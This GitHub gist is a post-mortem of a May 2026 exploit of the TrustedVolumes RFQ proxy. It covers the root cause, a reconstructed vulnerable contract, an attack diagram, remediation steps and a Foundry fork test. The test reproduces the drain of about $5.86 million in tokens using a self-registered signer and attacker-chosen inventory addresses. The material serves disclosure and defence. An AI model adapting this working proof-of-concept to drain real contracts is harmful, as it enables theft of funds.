Skip to content

Instantly share code, notes, and snippets.

@banteg
Last active May 7, 2026 13:32
Show Gist options
  • Select an option

  • Save banteg/3475d43a80fb6e0ab81f2fa549b88c1b to your computer and use it in GitHub Desktop.

Select an option

Save banteg/3475d43a80fb6e0ab81f2fa549b88c1b to your computer and use it in GitHub Desktop.
TrustedVolumes RFQ exploit report and Foundry repro
[profile.default]
src = "src"
test = "test"
out = "out"
libs = ["lib"]
solc_version = "0.8.26"
evm_version = "cancun"
optimizer = true
optimizer_runs = 200
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IWETH is IERC20 {
function withdraw(uint256 amount) external;
}
interface ITrustedVolumesRfq {
function registerAllowedOrderSigner(address signer, bool allowed) external;
}
/// @notice High-level reconstruction of the exploited TrustedVolumes RFQ flow.
/// @dev This is not byte-for-byte source. It documents the behavior recovered
/// from the unverified implementation at 0x88eb28009351Fb414A5746F5d8CA91cdc02760d8.
contract ReconstructedTrustedVolumesRfq {
event OrderFilled(address indexed signer, bytes32 indexed orderHash, address receiver, uint256 nonce);
struct RfqOrder {
address buyToken;
address sellToken;
uint256 buyAmount;
uint256 quotedSellAmount;
address receiver;
address inventory;
uint256 expiry;
uint256 nonce;
uint8 v;
bytes32 r;
bytes32 s;
uint8 signatureType;
}
mapping(address maker => mapping(address signer => bool allowed)) public allowedOrderSigner;
mapping(address maker => mapping(bytes32 orderHash => uint32 status)) public orderStatus;
address public immutable usdc;
address public immutable usdOracle;
constructor(address usdc_, address usdOracle_) {
usdc = usdc_;
usdOracle = usdOracle_;
}
function registerAllowedOrderSigner(address signer, bool allowed) external {
// Vulnerable path, step 1: any caller can make itself a maker and add an arbitrary signer.
allowedOrderSigner[msg.sender][signer] = allowed;
}
function fillReconstructedOrder(RfqOrder calldata order) external {
bytes32 orderHash = _hashOrder(order);
address signer = ecrecover(orderHash, order.v, order.r, order.s);
// Vulnerable path, step 2: this authenticates signer for receiver, not for inventory.
require(allowedOrderSigner[order.receiver][signer], "Rfq: OnlyOrderSignerAllowed");
require(block.timestamp <= order.expiry, "Rfq: unexpectedExpiry");
require(orderStatus[order.receiver][orderHash] == 0, "Rfq: orderFilled");
uint256 sellAmount = _oracleSellAmount(order);
orderStatus[order.receiver][orderHash] = uint32(order.nonce);
// Vulnerable path, step 3: inventory is caller-controlled order data, yet its allowance funds the fill.
IERC20(order.sellToken).transferFrom(order.inventory, order.receiver, sellAmount);
IERC20(order.buyToken).transferFrom(order.receiver, order.inventory, order.buyAmount);
emit OrderFilled(signer, orderHash, order.receiver, order.nonce);
}
function _hashOrder(RfqOrder calldata order) internal view returns (bytes32) {
return keccak256(
abi.encode(
block.chainid,
address(this),
order.buyToken,
order.sellToken,
order.buyAmount,
order.quotedSellAmount,
order.receiver,
order.inventory,
order.expiry,
order.nonce
)
);
}
function _oracleSellAmount(RfqOrder calldata order) internal pure returns (uint256) {
// The deployed code derives this from Chainlink prices; the exploit calldata already carries the result.
return order.quotedSellAmount;
}
}
direction: right
classes: {
actor: {
shape: person
}
contract: {
shape: rectangle
}
asset: {
shape: cylinder
}
note: {
shape: rectangle
style: {
fill: "#f8fafc"
stroke-dash: 4
}
}
vuln: {
style: {
stroke: "#b42318"
fill: "#fff4f2"
}
}
safe: {
style: {
stroke: "#0f766e"
fill: "#f0fdfa"
}
}
}
attacker: "Attacker EOA\n0xC3...9100" {
class: actor
}
receiver: "Attacker-controlled receiver\nlive tx: 0xD4...1E95\ntest: 0x...bEEF" {
class: contract
}
signer: "Order signer\nlive: attacker EOA\ntest: vm.sign(DEMO_SIGNER_KEY)" {
class: actor
}
rfq: "TrustedVolumes RFQ proxy\n0xeEeE...1756" {
class: contract
}
impl: "RFQ implementation\n0x88eb...60d8" {
class: contract
}
inventory: "TrustedVolumes inventory\n0x9bA0...Da31" {
class: contract
}
tokens: "Inventory assets\nWETH / USDT / WBTC / USDC" {
class: asset
}
usdc: "1 raw USDC per order\npaid by receiver" {
class: asset
}
root: "Root cause\nSigner is checked for receiver,\nbut funds are pulled from arbitrary inventory." {
class: note
}
allowance: "Precondition\nInventory gave RFQ proxy unlimited allowances." {
class: note
}
digest: "Order digest\nEIP-712:\nkeccak256(0x1901, domain, order struct)" {
class: note
}
attacker -> receiver: "1. deploy / control"
signer -> digest: "2. signs order fields"
digest -> receiver: "receiver is inside signed order"
receiver -> rfq: "3. registerAllowedOrderSigner(signer, true)" {
class: vuln
}
rfq -> impl: "delegatecall"
impl -> rfq: "allowedOrderSigner[receiver][signer] = true" {
class: vuln
}
receiver -> rfq: "4. fill RFQ order\nselector 0x4112e1c2"
rfq -> impl: "delegatecall fill"
impl -> signer: "5. ecrecover(order digest)"
impl -> rfq: "6. checks signer is allowed for receiver" {
class: safe
}
allowance -> inventory: "unlimited approval"
inventory -> rfq: "approval lets proxy spend tokens" {
class: vuln
}
impl -> inventory: "7. transferFrom(inventory, receiver, quotedSellAmount)" {
class: vuln
}
inventory -> tokens: "WETH 1291.161\nUSDT 206,282\nWBTC 16.939\nUSDC 1,268,771"
tokens -> receiver: "8. assets arrive at receiver"
receiver -> usdc: "9. transferFrom(receiver, inventory, 1 raw USDC)"
usdc -> inventory: "tiny buy-side payment"
receiver -> attacker: "10. unwrap WETH and forward proceeds"
root -> "3. registerAllowedOrderSigner(signer, true)"
root -> "7. transferFrom(inventory, receiver, quotedSellAmount)"
Display the source blob
Display the rendered blob
Raw
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.

TrustedVolumes RFQ exploit report

Summary

On 2026-05-07, transaction 0xc5c61b3ac39d854773b9dc34bd0cdbc8b5bbf75f18551802a0b5881fcb990513 exploited the unverified TrustedVolumes RFQ proxy at 0xeEeEEe53033F7227d488ae83a27Bc9A9D5051756.

The attacker registered their EOA as an allowed signer for a newly created maker contract, then filled four signed RFQ orders that pulled assets from the TrustedVolumes inventory address 0x9bA0CF1588E1DFA905eC948F7FE5104dD40EDa31. The inventory had unlimited allowances to the RFQ proxy, so the proxy could transfer its WETH, USDT, WBTC, and USDC to the attacker-controlled receiver.

Total direct outflow in the exploit transaction, valued with Chainlink USD feed answers at parent block 25039669:

Asset Raw amount Human amount USD price USD value
WETH 1291161105215879179270 1291.161105215879179270 $2,336.49970000 $3,016,797.53
USDT 206282446876 206282.446876 $0.99988156 $206,258.01
WBTC 1693910519 16.93910519 $81,047.28979041 $1,372,868.57
USDC 1268771488879 1268771.488879 $0.99980000 $1,268,517.73
Total $5,864,441.85

The USD tally uses Chainlink latestRoundData() answers at block 25039669: ETH/USD 233649970000, USDT/USD 99988156, BTC/USD 8104728979041, and USDC/USD 99980000, all 8-decimal feed answers.

Relevant contracts and accounts

Role Address
Exploit transaction 0xc5c61b3ac39d854773b9dc34bd0cdbc8b5bbf75f18551802a0b5881fcb990513
Attacker EOA / recovered signer 0xC3EBDdEa4f69df717a8f5c89e7cF20C1c0389100
One-shot exploit contract 0xD4D5DB5EC65272B26F756712247281515F211E95
TrustedVolumes RFQ proxy 0xeEeEEe53033F7227d488ae83a27Bc9A9D5051756
RFQ implementation 0x88eb28009351Fb414A5746F5d8CA91cdc02760d8
TrustedVolumes inventory 0x9bA0CF1588E1DFA905eC948F7FE5104dD40EDa31

Root cause

The root cause is an authorization boundary failure in the custom RFQ proxy.

The implementation exposes registerAllowedOrderSigner(address,bool) (0xea7faa61) as a public self-service registration method. Decompilation of the implementation shows the function writes allowedOrderSigner[msg.sender][signer] = allowed. That is not itself unsafe if later fills only spend the maker's own assets.

The exploited fill path did not enforce that the approved maker/signer pair controlled the token source. The signed order was accepted for the attacker-controlled maker/receiver, but the order payload also carried an arbitrary inventory address. During fill, the resolver executed:

  1. recover signer 0xC3...9100 from the RFQ signature;
  2. verify that signer is allowed for the attacker-controlled receiver 0xD4...1E95;
  3. price the requested one-USDC buy amount with Chainlink feeds;
  4. call sellToken.transferFrom(inventory, receiver, sellAmount);
  5. call USDC.transferFrom(receiver, inventory, 1);
  6. mark the order nonce as filled.

Because inventory was 0x9bA0...Da31 and it had unlimited allowances to the RFQ proxy for WETH, USDT, WBTC, and USDC, the proxy transferred inventory assets to the attacker contract. The signer authorization only proved the attacker could sign for the attacker-controlled receiver. It did not prove that the attacker could spend the inventory address.

Attack flow

  1. The attacker funded and approved the predicted exploit contract address for a few USDC.
  2. The exploit transaction deployed 0xD4D5...1E95.
  3. Its constructor called registerAllowedOrderSigner(0xC3...9100, true) on the RFQ proxy.
  4. It submitted four signed RFQ orders, each buying 1 raw USDC from the exploit contract and selling a large oracle-priced amount from the TrustedVolumes inventory.
  5. The proxy recovered the attacker EOA signature each time and accepted it because the exploit contract had just registered that EOA as its allowed signer.
  6. The proxy pulled from 0x9bA0...Da31 using pre-existing unlimited allowances.
  7. The exploit contract unwrapped WETH and forwarded the received WETH/USDT/WBTC/USDC to the attacker EOA.

Evidence

Local cast run against the full block shows the successful calls:

  • registerAllowedOrderSigner(0xC3EBDdEa4f69df717a8f5c89e7cF20C1c0389100, true)
  • four calls to unlabelled selector 0x4112e1c2
  • each 0x4112e1c2 call delegatecalls implementation 0x88eb28009351Fb414A5746F5d8CA91cdc02760d8
  • each call performs ecrecover and recovers 0xC3EBDdEa4f69df717a8f5c89e7cF20C1c0389100
  • each call transfers one raw USDC from the exploit contract to the inventory
  • the four calls transfer the inventory assets listed above to the exploit contract

The inventory balances and allowances at parent block 25039669 confirmed the precondition:

Token Inventory balance Allowance to RFQ proxy
WETH 1304203136581696140677 type(uint256).max
USDT 208366107956 type(uint256).max
WBTC 1711020727 type(uint256).max
USDC 1281587362505 type(uint256).max

Resolver/inventory reconstruction

0x9bA0CF1588E1DFA905eC948F7FE5104dD40EDa31 is also unverified. A focused disassembly pass shows it is a TrustedVolumes custody/resolver contract, not a passive wallet. The relevant recovered layout is:

Slot Meaning
0 owner: 0xc493F943a1fd910D01dcaBea86e61415ce43E787
1 WETH: 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
2 OTC/operator role mapping
3 cashier role mapping
4 withdrawal whitelist mapping
5 OTC/operator role list
6 cashier role list
7 withdrawal whitelist list
8 1inch LimitOrderProtocol: 0x111111125421cA6dc452d289314280a0f8842A65
9 Reactor: 0x6000da47483062A0D734Ba3dc7576Ce6A0B645C4
10 swapERC20 helper: 0xD82E10B9a4107939e55FcCa9B53a9eDE6cF2fc46, plus a native unwrap guard bit

Recovered behaviors:

  • owner-only setters replace the OTC, cashier, and withdrawal whitelist arrays and rewrite their backing mappings;
  • owner-only paths can set the 1inch LimitOrderProtocol, Reactor, WETH, and swapERC20 helper addresses;
  • owner-only token paths can set max ERC20 allowances and sweep inventory token balances;
  • cashier-only paths can unwrap WETH and send native ETH, gated by the withdrawal whitelist;
  • OTC-only paths can forward calls through the configured LimitOrderProtocol and Reactor;
  • isValidSignature(bytes32,bytes) implements EIP-1271 and accepts signatures from the owner or OTC role accounts;
  • takerInteraction(...) is callable only by the configured LimitOrderProtocol, requires the taker argument to be this resolver, requires tx.origin to have the OTC role, then decodes and executes an array of target/call pairs.

This did not change the root cause. The loss still comes from the RFQ proxy accepting attacker-signed orders whose inventory field pointed at this resolver while this resolver had pre-existing unlimited allowances to the RFQ proxy. The resolver reconstruction explains why the address held and routed inventory, and it highlights additional operational exposure: any contract approved by this resolver must enforce its own authorization boundary correctly, because the resolver routinely holds large token balances and grants external allowances.

src/ReconstructedTrustedVolumesResolver.sol contains the high-level reconstruction. It is not byte-for-byte source; uncertain function names are labeled by behavior and selector comments.

Related March 2025 Fusion V1 incident

Blockaid's public alert says the 2026 TrustedVolumes exploit affected the same operator involved in the March 2025 1inch Fusion V1 incident. On-chain checks support the narrower reading that the same TrustedVolumes-controlled infrastructure was affected in both incidents. They do not establish that the same attacker controlled both exploit flows.

The March 2025 incident is still relevant because it targeted the same operational class: TrustedVolumes acting as a 1inch resolver/market-maker with large balances and protocol approvals. 1inch's post-incident notice describes the old issue as affecting resolver contracts that still used obsolete Fusion V1. Later technical writeups describe a calldata/suffix corruption bug in the Fusion V1 settlement flow that let attacker-controlled order context inherit settlement-level authority and spend resolver-held assets.

On-chain spot checks line up with that narrative:

Item March 2025 Fusion V1 May 2026 RFQ proxy
Primary attacker tx checked 0x62734ce80311e64630a009dd101a967ea0a9c012fabbfce8eac90f0f4ca090d6 0xc5c61b3ac39d854773b9dc34bd0cdbc8b5bbf75f18551802a0b5881fcb990513
Attacker sender / signer 0xA7264a43A57Ca17012148c46AdBc15a5F951766e 0xC3EBDdEa4f69df717a8f5c89e7cF20C1c0389100
Settlement/proxy entry 0x019BfC71D43c3492926D4A9a6C781F36706970C9 / 1inch: Settlement 0xeEeEEe53033F7227d488ae83a27Bc9A9D5051756 / custom RFQ proxy
TrustedVolumes asset source observed 0xB02F39e382C90160Eb816DE5e0E428Ac771d77B5 0x9bA0CF1588E1DFA905eC948F7FE5104dD40EDa31
Asset source owner 0xc493F943a1fd910D01dcaBea86e61415ce43E787 0xc493F943a1fd910D01dcaBea86e61415ce43E787

The attacker senders, entry contracts, and post-exploit flows differ, so the repo does not claim common attacker control. The commonality we can support locally is the victim/operator surface: both incidents spent assets from TrustedVolumes-owned resolver-style inventory that had granted powerful approvals to 1inch-adjacent settlement/proxy contracts.

References:

Reproduction

The Foundry test in test/TrustedVolumesExploit.t.sol forks Ethereum at block 25039669, seeds a demo receiver with the four raw USDC needed for the one-USDC RFQ payments, registers a demo signer from that receiver, derives equivalent EIP-712 order digests, and signs them locally with vm.sign. It does not depend on the live attacker receiver or pre-signed exploit blobs.

Run:

forge test --fork-url "$ETH_RPC_URL" --fork-block-number 25039669 -vv

Expected result:

  • testPublicRegistrationEnablesFirstDrain fails before registration and succeeds after public signer registration.
  • testFullExploitReproduction drains the exact WETH, USDT, WBTC, and USDC amounts observed in the exploit transaction into the demo receiver, unwraps WETH, and forwards the ERC20 proceeds to the attacker EOA.

Reconstructed source

src/ReconstructedTrustedVolumesRfq.sol contains a high-level reconstruction of the relevant control flow recovered from the unverified implementation. It is intentionally not byte-for-byte equivalent. The executable proof uses the deployed bytecode on a fork.

Remediation

Immediate containment:

  • Revoke all token approvals from inventory and user wallets to 0xeEeEEe53033F7227d488ae83a27Bc9A9D5051756.
  • Disable routing through the TrustedVolumes custom RFQ proxy.
  • If any upgrade/admin path remains, pause the fill selector 0x4112e1c2 and public signer registration.

Code-level fixes:

  • Bind the spender/source address in every fill to the authenticated maker, or require an explicit authorization from the inventory address.
  • Do not let a self-registered maker signer authorize pulls from any third-party token source.
  • Include the actual token source and spender semantics in the signed domain/order and verify them before transfer.
  • Separate maker signer registration from inventory operator approval, with owner-only or EIP-712 inventory consent.
  • Add invariant tests that an order signed by maker A can never transfer from inventory B unless B explicitly authorized that exact relationship.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;
interface Vm {
function addr(uint256 privateKey) external returns (address);
function label(address account, string calldata label_) external;
function prank(address msgSender) external;
function sign(uint256 privateKey, bytes32 digest) external returns (uint8 v, bytes32 r, bytes32 s);
}
interface IERC20Like {
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IWETHLike is IERC20Like {
function withdraw(uint256 amount) external;
}
interface IResolver {
function registerAllowedOrderSigner(address signer, bool allowed) external;
}
contract TrustedVolumesExploitTest {
Vm private constant vm = Vm(address(uint160(uint256(keccak256("hevm cheat code")))));
bytes4 private constant FILL_RFQ_ORDER = 0x4112e1c2;
bytes32 private constant DOMAIN_SEPARATOR = 0xa4d80e3cd2aa6cf42ef8028f5adea3f05ca71f2cef487c03752ffacc5f401744;
bytes32 private constant ORDER_TYPEHASH = 0x46e59923f17b5627646501951ad18c29fa5dd0c85596ac8820a64eaa2574d774;
address private constant ATTACKER = 0xC3EBDdEa4f69df717a8f5c89e7cF20C1c0389100;
address private constant DEMO_RECEIVER = 0x000000000000000000000000000000000000bEEF;
address private constant INVENTORY = 0x9bA0CF1588E1DFA905eC948F7FE5104dD40EDa31;
address private constant RESOLVER = 0xeEeEEe53033F7227d488ae83a27Bc9A9D5051756;
IERC20Like private constant USDC = IERC20Like(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IWETHLike private constant WETH = IWETHLike(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20Like private constant USDT = IERC20Like(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IERC20Like private constant WBTC = IERC20Like(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
uint256 private constant ONE_RAW_USDC = 1;
uint256 private constant ORDER_EXPIRY = 0x69fbe148;
uint256 private constant DEMO_SIGNER_KEY = 0xA11CE;
uint8 private constant EIP712_SIGNATURE = 2;
uint256 private constant WETH_DRAIN = 1_291_161_105_215_879_179_270;
uint256 private constant USDT_DRAIN = 206_282_446_876;
uint256 private constant WBTC_DRAIN = 1_693_910_519;
uint256 private constant USDC_DRAIN = 1_268_771_488_879;
receive() external payable {}
function testPublicRegistrationEnablesFirstDrain() external {
_label();
_seedReceiverUsdc();
(bool beforeOk,) = RESOLVER.call(_wethOrder());
require(!beforeOk, "order should fail before signer registration");
vm.prank(DEMO_RECEIVER);
// Vulnerable path, step 1: receiver self-registers a signer that does not own INVENTORY.
IResolver(RESOLVER).registerAllowedOrderSigner(_demoSigner(), true);
uint256 beforeInventory = WETH.balanceOf(INVENTORY);
uint256 beforeReceiver = WETH.balanceOf(DEMO_RECEIVER);
vm.prank(DEMO_RECEIVER);
(bool afterOk,) = RESOLVER.call(_wethOrder());
require(afterOk, "order should pass after public signer registration");
require(beforeInventory - WETH.balanceOf(INVENTORY) == WETH_DRAIN, "wrong WETH inventory delta");
require(WETH.balanceOf(DEMO_RECEIVER) - beforeReceiver == WETH_DRAIN, "wrong WETH receiver delta");
}
function testFullExploitReproduction() external {
_label();
_seedReceiverUsdc();
uint256 wethBefore = WETH.balanceOf(INVENTORY);
uint256 usdtBefore = USDT.balanceOf(INVENTORY);
uint256 wbtcBefore = WBTC.balanceOf(INVENTORY);
uint256 usdcBefore = USDC.balanceOf(INVENTORY);
vm.prank(DEMO_RECEIVER);
// Vulnerable path, step 1: this registration says nothing about INVENTORY ownership.
IResolver(RESOLVER).registerAllowedOrderSigner(_demoSigner(), true);
_fill(_wethOrder());
_fill(_usdtOrder());
_fill(_wbtcOrder());
_fill(_usdcOrder());
require(wethBefore - WETH.balanceOf(INVENTORY) == WETH_DRAIN, "wrong WETH drained");
require(usdtBefore - USDT.balanceOf(INVENTORY) == USDT_DRAIN, "wrong USDT drained");
require(wbtcBefore - WBTC.balanceOf(INVENTORY) == WBTC_DRAIN, "wrong WBTC drained");
require(usdcBefore - USDC.balanceOf(INVENTORY) == USDC_DRAIN - 4, "wrong USDC net inventory delta");
require(WETH.balanceOf(DEMO_RECEIVER) == WETH_DRAIN, "wrong receiver WETH");
require(USDT.balanceOf(DEMO_RECEIVER) == USDT_DRAIN, "wrong receiver USDT");
require(WBTC.balanceOf(DEMO_RECEIVER) == WBTC_DRAIN, "wrong receiver WBTC");
require(USDC.balanceOf(DEMO_RECEIVER) == USDC_DRAIN, "wrong receiver USDC");
uint256 receiverEthBefore = DEMO_RECEIVER.balance;
vm.prank(DEMO_RECEIVER);
WETH.withdraw(WETH_DRAIN);
vm.prank(DEMO_RECEIVER);
_transferToken(address(USDT), ATTACKER, USDT_DRAIN);
vm.prank(DEMO_RECEIVER);
_transferToken(address(WBTC), ATTACKER, WBTC_DRAIN);
vm.prank(DEMO_RECEIVER);
_transferToken(address(USDC), ATTACKER, USDC_DRAIN);
require(DEMO_RECEIVER.balance - receiverEthBefore == WETH_DRAIN, "receiver did not unwrap WETH");
require(USDT.balanceOf(ATTACKER) >= USDT_DRAIN, "attacker did not receive USDT");
require(WBTC.balanceOf(ATTACKER) >= WBTC_DRAIN, "attacker did not receive WBTC");
require(USDC.balanceOf(ATTACKER) >= USDC_DRAIN, "attacker did not receive USDC");
}
function _fill(bytes memory data) internal {
vm.prank(DEMO_RECEIVER);
// Vulnerable path, step 2: each order names INVENTORY as token source and DEMO_RECEIVER as receiver.
(bool ok, bytes memory ret) = RESOLVER.call(data);
require(ok, string(ret));
}
function _wethOrder() internal returns (bytes memory) {
return _signedOrder(address(WETH), WETH_DRAIN, 1);
}
function _usdtOrder() internal returns (bytes memory) {
return _signedOrder(address(USDT), USDT_DRAIN, 2);
}
function _wbtcOrder() internal returns (bytes memory) {
return _signedOrder(address(WBTC), WBTC_DRAIN, 3);
}
function _usdcOrder() internal returns (bytes memory) {
return _signedOrder(address(USDC), USDC_DRAIN, 4);
}
function _signedOrder(address sellToken, uint256 quotedSellAmount, uint256 nonce) internal returns (bytes memory) {
(uint8 v, bytes32 r, bytes32 s) = vm.sign(
DEMO_SIGNER_KEY,
_orderDigest(address(USDC), sellToken, ONE_RAW_USDC, quotedSellAmount, DEMO_RECEIVER, nonce)
);
return abi.encodeWithSelector(
FILL_RFQ_ORDER,
address(USDC),
sellToken,
ONE_RAW_USDC,
quotedSellAmount,
DEMO_RECEIVER,
INVENTORY,
ORDER_EXPIRY,
nonce,
v,
r,
s,
EIP712_SIGNATURE
);
}
function _orderDigest(
address buyToken,
address sellToken,
uint256 buyAmount,
uint256 quotedSellAmount,
address receiver,
uint256 nonce
) internal pure returns (bytes32) {
bytes32 structHash = keccak256(
abi.encode(
ORDER_TYPEHASH,
buyToken,
sellToken,
buyAmount,
quotedSellAmount,
receiver,
INVENTORY,
ORDER_EXPIRY,
nonce
)
);
return keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, structHash));
}
function _demoSigner() internal returns (address) {
return vm.addr(DEMO_SIGNER_KEY);
}
function _transferToken(address token, address to, uint256 amount) internal {
(bool ok, bytes memory ret) = token.call(abi.encodeWithSelector(IERC20Like.transfer.selector, to, amount));
require(ok, "token transfer reverted");
require(ret.length == 0 || abi.decode(ret, (bool)), "token transfer returned false");
}
function _seedReceiverUsdc() internal {
vm.prank(ATTACKER);
USDC.transfer(DEMO_RECEIVER, 4);
vm.prank(DEMO_RECEIVER);
USDC.approve(RESOLVER, 4);
}
function _label() internal {
vm.label(ATTACKER, "attacker");
vm.label(DEMO_RECEIVER, "demo receiver");
vm.label(_demoSigner(), "demo signer");
vm.label(INVENTORY, "TrustedVolumes inventory");
vm.label(RESOLVER, "TrustedVolumes RFQ proxy");
vm.label(address(USDC), "USDC");
vm.label(address(WETH), "WETH");
vm.label(address(USDT), "USDT");
vm.label(address(WBTC), "WBTC");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment